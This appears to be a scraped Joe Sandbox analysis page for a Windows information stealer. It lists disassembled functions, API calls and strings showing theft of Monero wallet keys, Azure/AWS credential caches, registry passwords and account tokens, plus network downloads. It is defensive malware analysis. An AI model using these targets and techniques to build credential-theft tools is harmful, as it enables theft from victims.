Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 7c337b5ad56bd8c3e13f7b5c8d606f8add49065f24d3920161f034f41da0675f
Instruction ID: d077a05f157164115088e7ede462ec665b76ba609a41f669188446b7c574829f
Opcode Fuzzy Hash: 7c337b5ad56bd8c3e13f7b5c8d606f8add49065f24d3920161f034f41da0675f
Instruction Fuzzy Hash: 3F4183BA950204A6DB54F770EC8BFED3338AB24700F404594B249660C1FEBD5BD98B92

Function 00771310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 007712A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007712B4
Part of subcall function 007712A0: RtlAllocateHeap.NTDLL(00000000), ref: 007712BB
Part of subcall function 007712A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 007712D7
Part of subcall function 007712A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 007712F5
Part of subcall function 007712A0: RegCloseKey.ADVAPI32(?), ref: 007712FF

lstrcat.KERNEL32(?,00000000), ref: 0077134F
lstrlen.KERNEL32(?), ref: 0077135C
lstrcat.KERNEL32(?,.keys), ref: 00771377

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Part of subcall function 00788B60: GetSystemTime.KERNEL32(00790E1A,014B9EA8,007905AE,?,?,007713F9,?,0000001A,00790E1A,00000000,?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 00788B86

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00771465

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Part of subcall function 007799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007799EC
Part of subcall function 007799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00779A11
Part of subcall function 007799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00779A31
Part of subcall function 007799C0: ReadFile.KERNEL32(000000FF,?,00000000,0077148F,00000000), ref: 00779A5A
Part of subcall function 007799C0: LocalFree.KERNEL32(0077148F), ref: 00779A90
Part of subcall function 007799C0: CloseHandle.KERNEL32(000000FF), ref: 00779A9A

DeleteFileA.KERNEL32(00000000), ref: 007714EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00771335
wallet_path, xrefs: 00771330
\Monero\wallet.keys, xrefs: 0077138D
.keys, xrefs: 0077136B

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 213e36ded6727a9674b0ec5e3b32d9a4d260d10a5a988373d8f9b225a3004ad7
Instruction ID: f853933a1e471dd14aa451d93214830800b7464fb9a8ba10fc947f2cb9b85a6d
Opcode Fuzzy Hash: 213e36ded6727a9674b0ec5e3b32d9a4d260d10a5a988373d8f9b225a3004ad7
Instruction Fuzzy Hash: D45144B1D50118A7DB15FB60DD9AFED737CAB54300F4041E9B60A62081EE386B86CBA6

Function 00787500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00787542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0078757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00787603
RtlAllocateHeap.NTDLL(00000000), ref: 0078760A
wsprintfA.USER32 ref: 00787640

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Strings

:, xrefs: 0078755C
\, xrefs: 00787560
C, xrefs: 0078754C
y, xrefs: 0078764D, 00787655, 0078761B, 00787623

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$y
API String ID: 1544550907-3153805831
Opcode ID: 8b845ef862c50d39939ce7e7484d20d452f738d61e176c5bc268f4c12ead5267
Instruction ID: eb8c43253b0eb5dfc3be49234448c96dee0058c7ca779562a6bc7ddf1f08205f
Opcode Fuzzy Hash: 8b845ef862c50d39939ce7e7484d20d452f738d61e176c5bc268f4c12ead5267
Instruction Fuzzy Hash: 3841A6B1E44248EBDF14EF94DC89BDEBBB8EF08710F100199F50967280D778AA44CBA5

Function 007775D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007772D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0077733A
Part of subcall function 007772D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 007773B1
Part of subcall function 007772D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0077740D
Part of subcall function 007772D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00777452
Part of subcall function 007772D0: HeapFree.KERNEL32(00000000), ref: 00777459

lstrcat.KERNEL32(35AA1020,007917FC), ref: 00777606
lstrcat.KERNEL32(35AA1020,00000000), ref: 00777648
lstrcat.KERNEL32(35AA1020, : ), ref: 0077765A
lstrcat.KERNEL32(35AA1020,00000000), ref: 0077768F
lstrcat.KERNEL32(35AA1020,00791804), ref: 007776A0
lstrcat.KERNEL32(35AA1020,00000000), ref: 007776D3
lstrcat.KERNEL32(35AA1020,00791808), ref: 007776ED
task.LIBCPMTD ref: 007776FB

Strings

: , xrefs: 0077764E

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 5b91379101356f3f87dc4f0849abf12fbb377472d8bd1ffc362f3e13f4e226ed
Instruction ID: b910c1371a587580c9c9eac3109aa841d245c79063bcaf59ca82f6d6c1b57415
Opcode Fuzzy Hash: 5b91379101356f3f87dc4f0849abf12fbb377472d8bd1ffc362f3e13f4e226ed
Instruction Fuzzy Hash: B6316FB1914109EFCF48EBB4DD89DFF7378BB44311B548218F106A7290DA38AD46DB62

Function 00788100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,014BDDF0,00000000,?,00790E2C,00000000,?,00000000), ref: 00788130
RtlAllocateHeap.NTDLL(00000000), ref: 00788137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00788158
__aulldiv.LIBCMT ref: 00788172
__aulldiv.LIBCMT ref: 00788180
wsprintfA.USER32 ref: 007881AC

Strings

%d MB, xrefs: 007881A3
@, xrefs: 0078814D

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 4d89b991adab7bafbec617a507cfb29e6869cb7e6c9841028804eef7e90f5349
Instruction ID: 28858646069ce85553267edceda3eb3340e6c4e98ba3243302639aec3e7ed14c
Opcode Fuzzy Hash: 4d89b991adab7bafbec617a507cfb29e6869cb7e6c9841028804eef7e90f5349
Instruction Fuzzy Hash: C4211DF1E44218ABDB14DFD4CD49FAEB7B8FB44B10F104609F605BB280DB7869018BA6

Function 007772D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0077733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 007773B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0077740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00777452
HeapFree.KERNEL32(00000000), ref: 00777459
task.LIBCPMTD ref: 00777555

Strings

Password, xrefs: 00777401

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: db791fb9376e585a1eaaa536dff92f3baa0f0b77c2a07adf24665ddc1f5c7080
Instruction ID: 126786097ce1d54c7073bb164d372fc879172bfa740441ea345d680ce7f835a2
Opcode Fuzzy Hash: db791fb9376e585a1eaaa536dff92f3baa0f0b77c2a07adf24665ddc1f5c7080
Instruction Fuzzy Hash: 076118B5944168DBDB24DB50CC85BDAB7B8BF44340F00C1E9E64DA6141DBB45BC9CFA1

Function 0077BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

lstrlen.KERNEL32(00000000), ref: 0077BC9F

Part of subcall function 00788E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00788E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0077BCCD
lstrlen.KERNEL32(00000000), ref: 0077BDA5
lstrlen.KERNEL32(00000000), ref: 0077BDB9

Strings

AccountId, xrefs: 0077BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 0077BBEB
AccountTokens, xrefs: 0077BB49
AccountTokens, xrefs: 0077BABA

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: b953131f41dbbcb61a84e878a3f504eb28ef35e2113af80b4166309bd3ff975b
Instruction ID: b5e20980da08a92d857e63bff4df80a062e6addc460d786a05629deac7820924
Opcode Fuzzy Hash: b953131f41dbbcb61a84e878a3f504eb28ef35e2113af80b4166309bd3ff975b
Instruction Fuzzy Hash: 01B11271950108EBEF05FBA0DD9AEEE7378AF54300F40456AF506A6191EF3C6A49CB72

Function 00774FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00774FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00774FD1
InternetOpenA.WININET(00790DDF,00000000,00000000,00000000,00000000), ref: 00774FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00775011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00775041
InternetCloseHandle.WININET(?), ref: 007750B9
InternetCloseHandle.WININET(?), ref: 007750C6

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
